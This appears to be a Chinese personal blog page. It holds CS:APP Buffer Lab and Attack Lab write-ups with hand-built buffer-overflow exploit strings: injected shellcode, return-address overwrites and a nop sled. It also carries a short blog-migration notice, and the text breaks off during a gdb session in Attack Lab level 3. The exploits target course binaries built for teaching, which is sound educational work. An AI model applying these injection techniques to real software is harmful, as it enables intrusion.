接下来我们要通过gcc和objdump生成攻击代码,具体的操作和Attack Lab相似,我们首先新建一个level2-exploit.s文件,在其中编写相应的攻击代码,如下:

1
2
3
4
mov $0x3dde924c, %eax
mov %eax, 0x804d100 ;设置全局变量
add $16, %esp ;修改栈顶
ret ;返回

然后我们依次使用gcc -m32 -c level2-exploit.sobjdump -d level2-exploit.o > level2-exploit.d将攻击代码汇编和反汇编,具体的命令和结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
user@BlackDragon ~/C/B/buflab-handout> gcc -m32 -c level2-exploit.s                          
user@BlackDragon ~/C/B/buflab-handout> objdump -d level2-exploit.o > level2-exploit.d
user@BlackDragon ~/C/B/buflab-handout> cat level2-exploit.d

level2-exploit.o: 文件格式 elf32-i386


Disassembly of section .text:

00000000 <.text>:
0: b8 4c 92 de 3d mov $0x3dde924c,%eax
5: a3 00 d1 04 08 mov %eax,0x804d100
a: 83 c4 10 add $0x10,%esp
d: c3 ret
 

最后我们根据以上的信息来生成我们最终的攻击代码,如下:

1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 前40个字节 */
00 00 00 00 58 2f 68 55 /* 保存的%ebp以及返回地址(在栈上) */
b8 4c 92 de 3d a3 00 d1
04 08 83 c4 10 c3 00 00 /* 攻击代码 */
9d 8c 04 08  /* 返回地址指向函数bang */

下面我们使用hex2raw生成攻击字符串并测试,结果如下:

1
2
3
4
5
6
user@BlackDragon ~/C/B/buflab-handout> cat level2.txt|./hex2raw|./bufbomb -u BlackDragon
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:Bang!: You set global_value to 0x3dde924c
VALID
NICE JOB!

阶段2完成。

阶段3:炸药(Dynamite)

在前面的几个阶段中,我们所有的攻击都导致程序跳转至其他函数并退出。所以,使用会破坏栈的攻击代码是可行的。

在该阶段中,你需要修改程序的寄存器和内存状态,并且使程序能正确的返回值原调用者函数并且不出错。这就意味着你必须:

  1. 在栈上执行机器代码
  2. 将返回指针置于代码的起始
  3. 修复对栈造成的破坏

具体来说,你需要让函数getbuf返回cookie而不是1至函数test。注意到在test中当返回值为cookie时程序会输出”Boom!”。你的攻击代码应当将cookie设置为返回值,恢复任何被破坏的状态,将正确的返回地址push到栈上,最终执行ret指令。

对于该阶段,我们的思路如下:

  1. 缓冲区溢出的部分要保证保存的%ebp不变以方便后续的寻址过程(攻击代码中使用)。然后和阶段2一样,通过溢出使程序跳转至栈上执行相应的攻击代码
  2. 攻击代码首先将返回地址设置为正确的返回地址(调用者的下一条指令)
  3. 然后再将返回值(%eax)设置为cookie
  4. 最终修改栈顶(%esp)并ret

缓冲区溢出攻击后,我们期望的整个程序的执行过程如下:

  1. 跳转至栈上执行代码,此时%esp被修改至第48个字节处,且%ebp中存有正确的值。
  2. 程序执行攻击代码,该攻击代码重置了返回地址,覆盖了getbuf的返回值,修改了栈顶指针并ret
  3. 程序带着完整的栈状态和修改后的返回值返回至test函数,并继续执行

下面我们讨论一下攻击代码中具体的细节。

首先是保存的ebp的值到底是多少,这个我们可以在gdb中直接调试打印得出,为0x55682f80。
栈上的返回地址和阶段2一样,为0x55682f58。

然后我们的攻击代码如下:

1
2
3
4
5
mov $0x8048dbe, %eax ;将真正的返回地址送入%eax
mov %eax, -0x2c(%ebp) ;将%eax送入栈上的正确位置
mov $0x3dde924c, %eax ;修改返回值
sub $4, %esp ;修改栈顶%esp
ret

这里讨论一下为什么是-0x2c(%ebp),保存的%ebp是调用者的栈底,我们观察调用者函数test的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
08048daa <test>:
8048daa: 55 push %ebp
8048dab: 89 e5 mov %esp,%ebp
8048dad: 53 push %ebx
8048dae: 83 ec 24 sub $0x24,%esp
8048db1: e8 da ff ff ff call 8048d90 <uniqueval>
8048db6: 89 45 f4 mov %eax,-0xc(%ebp)
8048db9: e8 36 04 00 00 call 80491f4 <getbuf>
8048dbe: 89 c3 mov %eax,%ebx
8048dc0: e8 cb ff ff ff call 8048d90 <uniqueval>
8048dc5: 8b 55 f4 mov -0xc(%ebp),%edx
8048dc8: 39 d0 cmp %edx,%eax
8048dca: 74 0e je 8048dda <test+0x30>
8048dcc: c7 04 24 88 a3 04 08 movl $0x804a388,(%esp)
8048dd3: e8 e8 fa ff ff call 80488c0 <puts@plt>
8048dd8: eb 46 jmp 8048e20 <test+0x76>
8048dda: 3b 1d 08 d1 04 08 cmp 0x804d108,%ebx
8048de0: 75 26 jne 8048e08 <test+0x5e>
8048de2: 89 5c 24 08 mov %ebx,0x8(%esp)
8048de6: c7 44 24 04 2a a5 04 movl $0x804a52a,0x4(%esp)
8048ded: 08
8048dee: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048df5: e8 c6 fb ff ff call 80489c0 <__printf_chk@plt>
8048dfa: c7 04 24 03 00 00 00 movl $0x3,(%esp)
8048e01: e8 75 05 00 00 call 804937b <validate>
8048e06: eb 18 jmp 8048e20 <test+0x76>
8048e08: 89 5c 24 08 mov %ebx,0x8(%esp)
8048e0c: c7 44 24 04 47 a5 04 movl $0x804a547,0x4(%esp)
8048e13: 08
8048e14: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048e1b: e8 a0 fb ff ff call 80489c0 <__printf_chk@plt>
8048e20: 83 c4 24 add $0x24,%esp
8048e23: 5b pop %ebx
8048e24: 5d pop %ebp
8048e25: c3 ret

我们可以知道函数test在栈上分配了0x24=36个字节的空间,而在这之前栈上还有被push的%ebx占4个字节,那么如果要想要定位到调用者栈顶的返回地址,偏移量应为36+4+4=44=0x2c,考虑到栈自高地址向低地址增长,所以应为-0x2c(%ebp)。

而程序从getbuf返回时栈顶指针并没有指向我们设置的返回地址,而是指向了栈上紧邻着该地址的高地址位置,所以我们需要将%esp-4以确保其指向了我们设置的返回地址,使得程序能正确返回。

下面我们使用gcc和objdump生成攻击代码,并且我们最终的攻击代码如下:

1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 前40个字节 */
80 2f 68 55 58 2f 68 55 /* 保存的%ebp和返回地址(位于栈上) */
b8 be 8d 04 08 89 45 d4 /* 攻击代码 */
b8 4c 92 de 3d 83 ec 04
c3

最后我们使用hex2raw生成攻击字符串并测试,结果如下:

1
2
3
4
5
6
user@BlackDragon ~/C/B/buflab-handout> cat level3.txt|./hex2raw|./bufbomb -u BlackDragon         
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:Boom!: getbuf returned 0x3dde924c
VALID
NICE JOB!

阶段3完成。

攻击代码的优化

注意到在上面我们的攻击代码还是很麻烦的,我们不仅花了很大的时间保证被保存的%ebp不变,还调整了栈顶指针使得函数能正确返回。

其实,我们可以使用push returnAddress,ret来达到返回到指定位置的效果。也能直接在攻击代码中设置%ebp的值,这样,我们的攻击代码如下:

1
2
3
4
mov $0x3dde924c,%eax ;返回值
mov $0x55682f80,%ebp ;修改%ebp
push $0x8048dbe ;将返回地址压栈
ret

根据以上的信息重新生成我们的攻击代码:

1
2
3
4
5
6
7
8
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 前40个字节 */
00 00 00 00 58 2f 68 55 /* 保存的%ebp和返回地址(位于栈上)*/
b8 4c 92 de 3d bd 80 2f /* 攻击代码 */
68 55 68 be 8d 04 08 c3

使用hex2raw生成攻击字符串并测试,结果如下:

1
2
3
4
5
6
user@BlackDragon ~/C/B/buflab-handout> cat level3-2.txt|./hex2raw|./bufbomb -u BlackDragon          
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:Boom!: getbuf returned 0x3dde924c
VALID
NICE JOB!

阶段4:硝化甘油(Nitroglycerin)

需要为bufbomb以及hex2raw添加命令行参数’-n’以执行本阶段

本阶段非常的具有挑战性,在本阶段中,函数getbuf的栈帧的位置在每次运行时都是不同的。栈随机化的策略明显提升了攻击的难度。

具体来说,在该阶段中,程序会调用getbufn来从标准输入流中读取数据,和getbuf不同的是,getbufn具有512个字节的缓冲区,并且,在相邻两次getbufn的调用中,%ebp的值将会出现最多+-240的误差。除此以外,在该阶段中,程序总共会使用5次你所输入的字符串,也就是说,总共会调用5次getbufn。同阶段3的任务相似,你必须保证每一次调用getbufn,其返回值均为cookie。

若返回值为cookie,则程序会输出”KABOOM!”。你的攻击代码需要在5次栈帧位置不同的函数getbuf的调用中设置cookie为返回值,恢复对栈造成的破坏,设置正确的返回地址,并最终执行ret执行以返回testn。

在本阶段中我们需要使用一种名为nop雪橇(nop sled)的攻击方式来对抗随机化。具体来说,就是通过在攻击代码前大量插入nop(空操作,编码为90)。这样,就算栈的起始地址在一定范围内波动,只要程序能跳转至其中一个nop指令,就能顺着这一组nop指令滑向我们真正的攻击代码。

首先我们需要考虑的是我们攻击代码的长度,由于必须要通过缓冲区溢出覆盖掉函数getbufn的返回地址,所以攻击代码的长度至少为520个字节的缓冲区,4个字节的被保存的%ebp,以及4个字节的返回地址。

我们将攻击代码放在缓冲区的最后,并且用90(nop)填充所有未被利用到的缓冲区以实现一个nop sled。

具体的攻击代码如下:

1
2
3
4
lea 0x28(%esp), %ebp ;复原%ebp
mov $0x3dde924c, %eax ;设置cookie
push $0x8048e3a ;将返回地址压栈
ret

注意到我们无法再采用阶段3中的办法来复原%ebp了。但是注意到,当函数从getbufn返回时,%esp的值是正确的,而%esp和%ebp的相对差值是固定的,因此我们可以根据函数返回时的%esp去还原%ebp,对于testn来说,%esp和%ebp之间相差了36+4=40=0x28个字节。

最后是返回地址的设定,在gdb中观察可知第一次执行时buf的地址为0x55682f40,因此我们将返回地址设置为0x55682f40-480=0x55682d60可保证每次都能命中。

最终我们的攻击代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /* nop sled */
90 90 90 90 90 90 90 90 90 90 90 90 90 8d 6c 24
28 b8 4c 92 de 3d 68 3a 8e 04 08 c3 60 2d 68 55 /* 攻击代码与返回地址 */

使用hex2raw生成攻击字符串并测试,结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
user@BlackDragon ~/C/B/buflab-handout> cat level4.txt|./hex2raw -n|./bufbomb -u BlackDragon -n  
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:KABOOM!: getbufn returned 0x3dde924c
Keep going
Type string:KABOOM!: getbufn returned 0x3dde924c
Keep going
Type string:KABOOM!: getbufn returned 0x3dde924c
Keep going
Type string:KABOOM!: getbufn returned 0x3dde924c
Keep going
Type string:KABOOM!: getbufn returned 0x3dde924c
VALID
NICE JOB!

阶段4完成。

实验总结

Buffer Lab整体上同Attack Lab的第1部分,代码注入攻击相似,不同在于需要了解IA32的栈帧结构,过程调用以及参数传递的原理。

除此以外,还需要了解对抗栈随机化的一种攻击方式 - nop sled。

评论和共享

迁移说明

发布在 通知

博客历史

  • 本博客自2016年1月4日上线。最早部署于BlackDragon的阿里云上,使用的是WordPress框架,服务器则采用了LAMP环境,DNS解析至一级域名。
  • 博客自上线后曾频繁的出现无法连接至数据库的情况,经过检查可能的原因是Apache占用的内存过大以至于MySQL服务被杀。后采用LNMP环境。
  • 2016年12月12日,将博客整个导出至Hexo并且部署至Github Pages,DNS解析至二级域名blog,原服务器与域名停止解析。

博客迁移

博客迁移的原因
在目前,我仍然希望这个博客的内容能被更多的人关注到,也希望能和更多的人交流,所以向Google和Baidu分别提交了Sitemap。
但是因国内Baidu仍然作为主要的搜索引擎,加上Github屏蔽了Baidu的爬虫,无法让博客的Sitemap被Baidu抓取并索引,在进行了尝试后决定将博客迁移。

在遇到上述问题时,我首先尝试了将hexo生成的博客部署到Github以及Coding两个代码仓库,并通过DNS解析将国内和国外的访问分别解析至Coding和Github,并解决了问题。

但是个人觉得这样做不够优雅,经过考虑还是决定将博客重新迁移至自己的阿里云,使用CentOS7作为Server,Nginx作为Web Server,同时将Github的Repo作为Mirror。

博客于2017年5月11日完成迁移,又于2017年5月12日完成相应的优化调整。

现在你可以访问

这个博客的意义
这个博客不是技术博客(目前),因为我现在并没有足够的技能去支持一个技术博客。我现在仅仅是作为一个学习者记录在学习过程中遇到的各种问题,并且将学到的知识加以总结。欢迎任何的技术交流以及错误指正。
如果我所记录的题目的解答或是实验的报告能够给同样还在学习的你带来帮助,这就是对我最大的鼓励。

迁移过程中遇到的问题

  • 在配置iptables时,我在没有开放22端口的情况下将INPUT的默认策略设置为DROP,直接导致了ssh断开连接,不得不重置了阿里云。
  • /home下的用户文件夹默认不具有读和执行权限,而我的html根目录放在家目录下,这导致了我在部署nginx时出现了403 Forbidden的错误。

优化调整

本次迁移博客同时对于博客做出了以下优化及调整:

  • 将背景图片从PNG格式改为JPG格式,减少网页加载的时间
  • 之前为了美观采用了WQY字体,但是将字体作为资源文件大大延长了加载的时间,现在博客的中文字体采用了Google Fonts中的Noto Sans SC

评论和共享

实验答案托管在我的Github

花了一天时间于2017年5月4日完成了《深入理解计算机系统》的第三个Lab - Attack Lab。这个实验对应于书本第三章:程序的机器级表示中,缓冲区溢出攻击部分。

实验简介

Attack Lab是Buffer Lab的64位版本。在这个实验中,目标是通过代码注入攻击(Code Injection Attack)和返回导向编程(Return Oriented Programming)两种攻击方式,分别修改具有缓冲区溢出漏洞的两个x86_64可执行文件的行为。

本实验主要加深了对于栈规则的理解,以及说明了缓冲区溢出漏洞可能造成的危险后果。

本实验使用了官网给出的自学者讲义中的Ubuntu 12.4 targets,并且使用了运行时参数-q来避免该程序连接远程的计分服务器。

实验准备

实验讲义中的target1.tar主要包含了以下文件:

  • README.txt 描述了目录内容
  • ctarget 一个易受代码注入攻击的可执行程序
  • rtarget 一个易受返回导向编程攻击的可执行程序
  • cookie.txt 在攻击中用到的唯一标识符,是8位的16进制代码
  • farm.c 目标程序的”Gadget Farm”的源代码,你将利用这些代码去生成返回导向编程攻击
  • hex2raw 一个生成攻击字符串的工具

注意事项

答案不能使用攻击去避免程序的正确性检查代码。具体来说,ret指令返回的目的地只能是以下3种:

  • 函数touch1, touch2, touch3的地址
  • 攻击注入代码的地址
  • gadget farm中gadgets的地址

rtarget中只能用函数start_farm和函数end_farm之间的函数来生成gadget。

目标程序

目标程序ctarget和rtarget都使用getbuf函数从标准输入流中读取字符串,getbuf函数如下:

1
2
3
4
5
6
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}

Gets函数同标准库函数gets相似,其从标准输入流中读入以’\n’或者是EOF结尾的字符串并且将其存储在制定的地址。在这段代码中,目标地址是一个长BUFFER_SIZE的字符数组。
但同时Gets()和gets()都不具备检测目的缓冲区是否足够大以存储输入的字符串的功能,因此可能存在缓冲区溢出的风险。在本次实验中,我们要利用该缓冲区溢出漏洞,改变目标程序的行为。

对于自学者来说,运行target的程序的时候需要带上参数-q以避免其连接并不存在的计分服务器。同时需要注意,用来生成攻击字符串的16进制的代码的任意中间位置都不能包含0a,因为其ascii表示是’\n’,在其之后的任意代码都不会被目标程序读入了。

实验过程及分析

第1部分 代码注入(Code Injection)攻击

本部分总共包含3个阶段,需要生成相应的攻击字符串去攻击ctarget。目标文件ctarget的栈位置是固定的,并且栈上的代码可执行。这为我们的代码注入攻击提供了机会。

等级1

阶段一不需要注入自己的代码,攻击字符串只需要将程序重定向至已有的过程即可。

在ctarget中,函数getbuf被test函数调用,而test函数如下:

1
2
3
4
5
6
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}

现在我们需要修改程序的行为,让程序从getbuf返回时不返回到test函数中,而跳转至touch1函数。函数touch1如下:
1
2
3
4
5
6
7
void touch1()
{
vlevel = 1;
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}

首先,我们对于目标可执行程序ctarget使用objdump -d ctarget > ctarget-disassemble生成ctarget的反汇编代码。然后观察反汇编代码中的getbuf函数,如下:

1
2
3
4
5
6
7
8
9
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop

通过观察sub $0x28,%rsp可以知道,getbuf在局部栈上开辟了大小为40个字节的空间,据此我们可以推测BUFFER_SIZE为40。那么,如果我们输入的字符串长度超过了40个字节,就会造成缓冲区溢出。

这里我们需要复习一下函数栈帧的相关知识。被调用者Q的栈帧自栈底(高地址)到栈顶(低地址)包括了被保存的寄存器,局部变量和参数构造区。而调用者Q的栈帧自栈底到栈顶包括了参数以及返回地址。

对于getbuf函数来说,不存在被保存的寄存器,在缓冲区溢出之后,溢出的字符会直接覆盖调用者栈帧中的返回地址。因此,直接使用touch1的起始地址作为溢出的字符串覆盖返回地址即可。

我们观察反汇编代码中touch1函数的起始地址,如下:

1
00000000004017c0 <touch1>:

据此可以得出攻击代码的16位表示如下:
1
2
3
4
5
6
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
c0 17 40 00 00 00 00 00

其中,前40个字节的内容无关紧要(只要不是0a即可),因为它们属于未溢出的部分。这段攻击代码中而真正起作用的是缓冲区溢出的部分,即最后的8个字节。同时要注意到x86_86的机器是小端表示的字节序,即低位放在低字节,高位放在高字节,并且栈的增长方向是由低地址增长到高地址。所以最后8个字节的顺序为 c0 17 40 00 00 00 00 00。
下面我们使用hex2raw生成攻击字符串并测试。结果如下:
1
2
3
4
5
6
7
8
9
user@BlackDragon ~/C/A/target1> cat solutions/ctarget/level1/level1.txt|./hex2raw|./ctarget -q
数Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 C0 17 40 00 00 00 00 00

本阶段完成。

等级2

阶段2需要在攻击字符串中注入少量的代码。

在ctarget中,函数touch2如下:

1
2
3
4
5
6
7
8
9
10
11
12
void touch2(unsigned val)
{
vlevel = 2;
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: you called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}

任务是让ctarget执行函数touch2的代码而不是直接返回到test函数。并且,你必须假装你已经传递了cookie的值作为touch2的参数。

考虑到在ctarget中,栈地址固定以及允许在栈上执行代码,所以我们可以通过缓冲区溢出漏洞将返回地址指定到栈上,在栈上执行相应的指令,为函数touch2设置参数,最后再从栈上返回至touch2函数即可。

同阶段一相似,攻击代码的前40个字节无关紧要(只要不是0a),第41-48个字节指定了getbuf的返回地址,为了让函数能返回到栈上执行代码,我们需要知道栈地址。

使用gdb加载ctarget,并为getbuf函数设置断点,执行程序,当程序因为断点而暂停的时候打印rsp的值。具体的操作和结果如下:

1
2
3
4
5
6
7
8
9
10
(gdb) break getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) run -q
Starting program: /home/zhihaochen/CSAPPLabs/AttackLab/target1/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:12
12 buf.c: 没有那个文件或目录.
(gdb) print /x $rsp
$1 = 0x5561dca0

从中可以得出结论,ctarget在执行getbuf时的栈地址(指向返回地址)为0x5561dca0。因此我们应该将返回地址指定为0x5561dca8。

然后我们用gcc和objdump来生成攻击代码。首先新建一个exploit.s文件,并在其中编写相应的攻击代码,如下:

1
2
3
mov $0x59b997fa, %edi ;设置cookie为参数
add $16, %rsp ;将rsp指向下一个返回地址(函数touch2的地址)
ret ;返回

其中add $16,%rsp的值可能需要修改,这是因为我们无法确定这段汇编代码反汇编后占多少字节。同时,我们也要保证rsp移动的位数是8的倍数,这是栈的特性(即push和pop时操作数据的大小为一个机器字长)决定的。

写完了攻击代码后,我们依次使用gcc -c exploit.s以及objdump -d exploit.o > exploit.d将攻击代码汇编和反汇编。具体的操作和结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
user@BlackDragon ~/C/A/t/s/c/level2> gcc -c exploit.s                                             
user@BlackDragon ~/C/A/t/s/c/level2> objdump -d exploit.o > exploit.d
user@BlackDragon ~/C/A/t/s/c/level2> cat exploit.d

exploit.o: 文件格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
0: bf fa 97 b9 59 mov $0x59b997fa,%edi
5: 48 83 c4 10 add $0x10,%rsp
9: c3 retq

总共是10个字节,小于16个字节,因此源攻击代码中的add $16,%rsp可以直接使用,无需继续更改。
最后我们在ctarget-disassemble中观察函数touch2的起始地址,如下:
1
00000000004017ec <touch2>:

根据以上的信息,我们最终的攻击代码如下:

1
2
3
4
5
6
7
8
9
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 /* 前40个字节 */
a8 dc 61 55 00 00 00 00 /* 返回地址 指向下8个字节 */
bf fa 97 b9 59 48 83 c4
10 c3 00 00 00 00 00 00 /* 攻击代码 */
ec 17 40 00 00 00 00 00 /* 返回地址 指向函数touch2 */

下面我们使用hex2raw生成攻击字符串并测试,结果如下:
1
2
3
4
5
6
7
8
9
user@BlackDragon ~/C/A/target1> cat solutions/ctarget/level2/level2.txt|./hex2raw|./ctarget -q     
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 A8 DC 61 55 00 00 00 00 BF FA 97 B9 59 48 83 C4 10 C3 00 00 00 00 00 00 EC 17 40 00 00 00 00 00

本阶段完成。

等级3

阶段3同样包含了代码注入攻击,但是这次需要将一个字符串作为参数传入。
在ctarget中,函数hexmatch和touch3的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie,sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}

任务是让程序执行touch3的代码而不是直接返回到test,你必须假装你已经将一个cookie的字符串表示作为参数传递给了touch3。

该阶段的思路同阶段二相似,不同的是,阶段二要求传递的参数是一个数字,而阶段三要求传递的参数是一个自己构造的字符串的首地址。因此,我们需要将目标字符串也通过缓冲区溢出攻击注入到栈段,并且将其首地址设置为%rdi。

现在我们来构造攻击字符串,首先,同阶段一和阶段二一样,攻击字符串的前40个字符串无关紧要(只要不是0a),第41-48个字节指定了getbuf的返回地址,同阶段二一样,我们将该返回地址设置为0x5561dca8。

接下来我们使用gcc和objdump来生成攻击代码。首先新建一个exploit.s文件,并在其中编写相应的攻击代码,如下:

1
2
3
mov $0x0, %edi ;设置第一个参数指向一个字符串(保留)
add $16, %rsp ;将rsp指向下一个返回地址(函数touch3的地址)
ret ;返回

注意,在构造该攻击字符串的时候,我们还不知道cookie的字符串的表示的首地址。故我们先使用0x0进行占位。生成最后的攻击字符串时只要用相应的栈地址替换0x0即可。

写完攻击代码之后,我们依次使用gcc和objdump进行汇编和反汇编,具体的操作和结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
user@BlackDragon ~/C/A/t/s/c/level3> gcc -c exploit.s                                             
user@BlackDragon ~/C/A/t/s/c/level3> objdump -d exploit.o > exploit.d
user@BlackDragon ~/C/A/t/s/c/level3> cat exploit.d

exploit.o: 文件格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
0: bf 00 00 00 00 mov $0x0,%edi
5: 48 83 c4 10 add $0x10,%rsp
9: c3 retq

在攻击代码之后,栈上紧跟着的应该是该攻击代码的返回地址,毫无疑问,在这里我们需要将返回地址指向函数touch3的起始地址。

现在需要讨论的问题是,字符串应该放在栈上的什么地方?首先我们可以考虑将字符串放置在攻击字符串的前40个字节中。这样,具体的攻击代码如下:

1
2
3
4
5
6
7
8
9
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00 /* 前40个字节 其中最后16个字节保存了cookie的字符串表示 */
a8 dc 61 55 00 00 00 00 /* 返回地址 指向下8个字节 */
bf 90 dc 61 55 48 83 c4 /* 攻击代码 其中将%rdi指向cookie的字符串表示的首地址 */
10 c3 00 00 00 00 00 00
fa 18 40 00 00 00 00 00 /* 返回地址 指向函数touch3 */

下面我们用hex2raw生成攻击字符串并测试,结果如下:
1
2
3
4
5
6
7
8
user@BlackDragon ~/C/A/target1> cat solutions/ctarget/level3/level3-2.txt|./hex2raw|./ctarget -q
Cookie: 0x59b997fa
Type string:Misfire: You called touch3("")
FAIL: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:FAIL:0xffffffff:ctarget:3:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 A8 DC 61 55 00 00 00 00 BF 90 DC 61 55 48 83 C4 10 C3 00 00 00 00 00 00 FA 18 40 00 00 00 00 00

糟糕,程序出错了,从Misfire: You called touch3(“”)中我们可以看出,%rdi指向的字符串是空字符串。这显然与我们的预期不符。我们的攻击代码理应没有任何问题。那么问题出在哪儿呢?

下面我们将攻击字符串导出成文件并且在gdb中进行调试,具体的操作和结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
user@BlackDragon ~/C/A/target1> cat solutions/ctarget/level3/level3-2.txt|./hex2raw > weirdError
user@BlackDragon ~/C/A/target1> gdb ctarget
GNU gdb (GDB) 7.12.1
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ctarget...done.
(gdb) break getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) run -i weirdError -q
Starting program: /home/zhihaochen/CSAPPLabs/AttackLab/target1/ctarget -i weirdError -q
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:12
